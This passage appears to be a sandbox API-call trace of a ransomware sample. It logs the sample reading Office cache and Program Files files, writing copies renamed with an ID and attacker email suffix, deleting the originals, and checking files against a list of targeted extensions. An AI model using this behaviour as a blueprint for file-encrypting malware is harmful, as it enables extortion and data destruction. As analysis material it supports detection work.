dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0035.185] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.185] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.185] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0035.185] GetLastError () returned 0x0 [0035.185] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xa40, lpOverlapped=0x0) returned 1 [0035.186] WriteFile (in: hFile=0x180, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0035.187] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.187] WriteFile (in: hFile=0x180, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.187] SetEndOfFile (hFile=0x180) returned 1 [0035.188] CloseHandle (hObject=0x180) returned 1 [0035.189] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.189] SetEndOfFile (hFile=0x174) returned 1 [0035.189] CloseHandle (hObject=0x174) returned 1 [0035.189] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.190] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.190] lstrlenW (lpString=".doc") returned 4 [0035.190] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.190] lstrlenW (lpString=".docx") returned 5 [0035.190] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.190] lstrlenW (lpString=".pdf") returned 4 [0035.190] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.190] lstrlenW (lpString=".xls") returned 4 [0035.190] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.190] lstrlenW (lpString=".xlsx") returned 5 [0035.190] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.190] lstrlenW (lpString=".ppt") returned 4 [0035.190] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.190] lstrlenW (lpString=".zip") returned 4 [0035.190] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.190] lstrlenW (lpString=".rar") returned 4 [0035.190] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.190] lstrlenW (lpString=".bz2") returned 4 [0035.190] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.190] lstrlenW (lpString=".7z") returned 3 [0035.190] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.190] lstrlenW (lpString=".dbf") returned 4 [0035.191] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.191] lstrlenW (lpString=".1cd") returned 4 [0035.191] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.191] lstrlenW (lpString=".jpg") returned 4 [0035.191] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.191] lstrlenW (lpString=".doc") returned 4 [0035.191] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.191] lstrlenW (lpString=".docx") returned 5 [0035.191] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.191] lstrlenW (lpString=".pdf") returned 4 [0035.191] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.191] lstrlenW (lpString=".xls") returned 4 [0035.191] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.191] lstrlenW (lpString=".xlsx") returned 5 [0035.191] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.191] lstrlenW (lpString=".ppt") returned 4 [0035.191] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.191] lstrlenW (lpString=".zip") returned 4 [0035.191] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.191] lstrlenW (lpString=".rar") returned 4 [0035.191] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.191] lstrlenW (lpString=".bz2") returned 4 [0035.191] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.191] lstrlenW (lpString=".7z") returned 3 [0035.191] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.191] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.191] lstrlenW (lpString=".dbf") returned 4 [0035.192] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.192] lstrlenW (lpString=".1cd") returned 4 [0035.192] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.192] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.192] lstrlenW (lpString=".jpg") returned 4 [0035.192] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.192] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.192] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.192] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.760] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4274) returned 1 [0035.760] CloseHandle (hObject=0x190) returned 1 [0035.760] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.776] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.776] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.786] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.786] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.786] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0035.787] GetLastError () returned 0x0 [0035.787] ReadFile (in: hFile=0x190, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0035.874] WriteFile (in: hFile=0x1a4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0035.875] ReadFile (in: hFile=0x190, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.875] WriteFile (in: hFile=0x1a4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.875] SetEndOfFile (hFile=0x1a4) returned 1 [0035.875] CloseHandle (hObject=0x1a4) returned 1 [0035.876] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.876] SetEndOfFile (hFile=0x190) returned 1 [0035.877] CloseHandle (hObject=0x190) returned 1 [0035.877] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0035.877] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0035.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.877] lstrlenW (lpString=".doc") returned 4 [0035.877] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.877] lstrlenW (lpString=".docx") returned 5 [0035.877] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.877] lstrlenW (lpString=".pdf") returned 4 [0035.877] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.877] lstrlenW (lpString=".xls") returned 4 [0035.877] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.877] lstrlenW (lpString=".xlsx") returned 5 [0035.877] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.877] lstrlenW (lpString=".ppt") returned 4 [0035.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.877] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.877] lstrlenW (lpString=".zip") returned 4 [0035.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.877] lstrlenW (lpString=".rar") returned 4 [0035.878] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.878] lstrlenW (lpString=".bz2") returned 4 [0035.878] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.878] lstrlenW (lpString=".7z") returned 3 [0035.878] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.878] lstrlenW (lpString=".dbf") returned 4 [0035.878] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.878] lstrlenW (lpString=".1cd") returned 4 [0035.878] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.878] lstrlenW (lpString=".jpg") returned 4 [0035.878] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.878] lstrlenW (lpString=".doc") returned 4 [0035.878] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.878] lstrlenW (lpString=".docx") returned 5 [0035.878] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.878] lstrlenW (lpString=".pdf") returned 4 [0035.878] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.878] lstrlenW (lpString=".xls") returned 4 [0035.878] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.878] lstrlenW (lpString=".xlsx") returned 5 [0035.878] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.878] lstrlenW (lpString=".ppt") returned 4 [0035.878] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.878] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.878] lstrlenW (lpString=".zip") returned 4 [0035.878] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.878] lstrlenW (lpString=".rar") returned 4 [0035.879] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.879] lstrlenW (lpString=".bz2") returned 4 [0035.879] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.879] lstrlenW (lpString=".7z") returned 3 [0035.879] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.879] lstrlenW (lpString=".dbf") returned 4 [0035.879] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.879] lstrlenW (lpString=".1cd") returned 4 [0035.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.879] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.879] lstrlenW (lpString=".jpg") returned 4 [0035.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.879] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.879] lstrlenW (lpString="Setup.xml") returned 9 [0035.879] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.880] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=20577) returned 1 [0035.880] CloseHandle (hObject=0x190) returned 1 [0035.880] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.880] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0035.880] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.880] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.880] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.880] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0035.881] GetLastError () returned 0x0 [0035.881] ReadFile (in: hFile=0x190, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x5061, lpOverlapped=0x0) returned 1 [0036.025] WriteFile (in: hFile=0x1a4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0036.026] ReadFile (in: hFile=0x190, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.026] WriteFile (in: hFile=0x1a4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.027] SetEndOfFile (hFile=0x1a4) returned 1 [0036.153] CloseHandle (hObject=0x1a4) returned 1 [0036.269] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.269] SetEndOfFile (hFile=0x190) returned 1 [0036.270] CloseHandle (hObject=0x190) returned 1 [0036.270] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0036.271] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0036.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.271] lstrlenW (lpString=".doc") returned 4 [0036.271] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.271] lstrlenW (lpString=".docx") returned 5 [0036.271] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.271] lstrlenW (lpString=".pdf") returned 4 [0036.271] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.271] lstrlenW (lpString=".xls") returned 4 [0036.271] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.271] lstrlenW (lpString=".xlsx") returned 5 [0036.271] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.271] lstrlenW (lpString=".ppt") returned 4 [0036.271] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.271] lstrlenW (lpString=".zip") returned 4 [0036.271] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.271] lstrlenW (lpString=".rar") returned 4 [0036.271] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.271] lstrlenW (lpString=".bz2") returned 4 [0036.271] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.271] lstrlenW (lpString=".7z") returned 3 [0036.271] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.272] lstrlenW (lpString=".dbf") returned 4 [0036.272] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.272] lstrlenW (lpString=".1cd") returned 4 [0036.272] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.272] lstrlenW (lpString=".jpg") returned 4 [0036.272] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.272] lstrlenW (lpString=".doc") returned 4 [0036.272] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.272] lstrlenW (lpString=".docx") returned 5 [0036.272] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0036.272] lstrlenW (lpString=".pdf") returned 4 [0036.272] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.272] lstrlenW (lpString=".xls") returned 4 [0036.272] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.272] lstrlenW (lpString=".xlsx") returned 5 [0036.272] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0036.272] lstrlenW (lpString=".ppt") returned 4 [0036.272] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.272] lstrlenW (lpString=".zip") returned 4 [0036.272] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.272] lstrlenW (lpString=".rar") returned 4 [0036.272] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.272] lstrlenW (lpString=".bz2") returned 4 [0036.272] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.272] lstrlenW (lpString=".7z") returned 3 [0036.272] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.272] lstrlenW (lpString=".dbf") returned 4 [0036.273] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.273] lstrlenW (lpString=".1cd") returned 4 [0036.273] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.273] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0036.273] lstrlenW (lpString=".jpg") returned 4 [0036.273] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.273] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1 [0036.273] lstrlenW (lpString="MS.JPG") returned 6 [0036.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0036.366] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1061) returned 1 [0036.366] CloseHandle (hObject=0x198) returned 1 [0036.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0036.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0036.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 